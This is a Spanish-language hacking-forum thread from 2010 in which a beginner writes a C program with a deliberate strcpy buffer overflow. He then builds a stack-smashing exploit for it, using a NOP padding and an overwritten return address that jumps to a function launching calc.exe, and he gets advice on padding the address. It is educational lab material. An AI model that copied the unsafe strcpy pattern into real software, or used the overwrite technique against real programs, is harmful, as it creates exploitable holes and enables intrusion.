Meter 3 donde van 4 : ¿ Y el resto ?

Iniciado por Garfield07, 29 Diciembre 2010, 19:51 PM

0 Miembros y 2 Visitantes están viendo este tema.

Garfield07

Bueno, me he metido en este apasionante mundo, y me he puesto a probar algo...
Tengo este code:
#include <stdio.h>
#include <string.h>
#include <windows.h>

int fff ()
{
WinExec ("calc.exe", SW_MAX);
}

int main(int argc, char **argv)
{
if (argc != 2) return 1;
char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito:   %s\n",buff);

return 0;
}

Es simple. Meto 24 nops y 4 numeros con la direccion de fff. A mi me da 0x4013c0. Como ven es una direccion de 3 "digitos".
Bueno ¿ Qué hago con el cuarto ?

#include <windows.h>
#include <strcpy.h>

int main ()
{
char buff [28];
int i;
for (i = 0; i <= 23; i++)
buff [i] = '\90'

/*
Aqui van las declaraciones de buff [24 / 27] (menos 1 por el 0).
La cosa es que tengo tres numeros donde van cuatro.
*/

char command [33];
strcpy (command, "code ");
strcat (command, buff);
WinExec (command);
}


El exploit es sencillo, pero no se que hacer. Pido perdais 5 segundos de vuestro tiempo contestandome xD!!!
Que hago? Como seria el exploit?

Espero sus prontas respuestas.
Y sí, he mirado en google y en el foro...

Aparte, uso Windows Vista 64 bits...


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

APOKLIPTICO

Es simple, si te sobran bytes en la dirección, lo llenas con ceros al principio, osea, es como decir: es lo mismo decir "100" que decir "0000100".
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.

Garfield07

#2
Bueno, gracias por tu pronta respuesta...
Eso pense al principio, pero lo descarte porque... y por que el GDB me pone eso sin ceros?

Code final:

#include <windows.h>
#include <string.h>

int main ()
{
ShowWindow (GetForegroundWindow (), SW_HIDE);
char nop [24];
memset (nop, '\x90', 24);
char ret [4] = "\xc0\x13\x40\x00";

char command [33];
strcpy (command, "code ");
strcat (command, nop);
strcat (command, ret);
system (command);

return 0;
}



Muchas gracias por todo


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo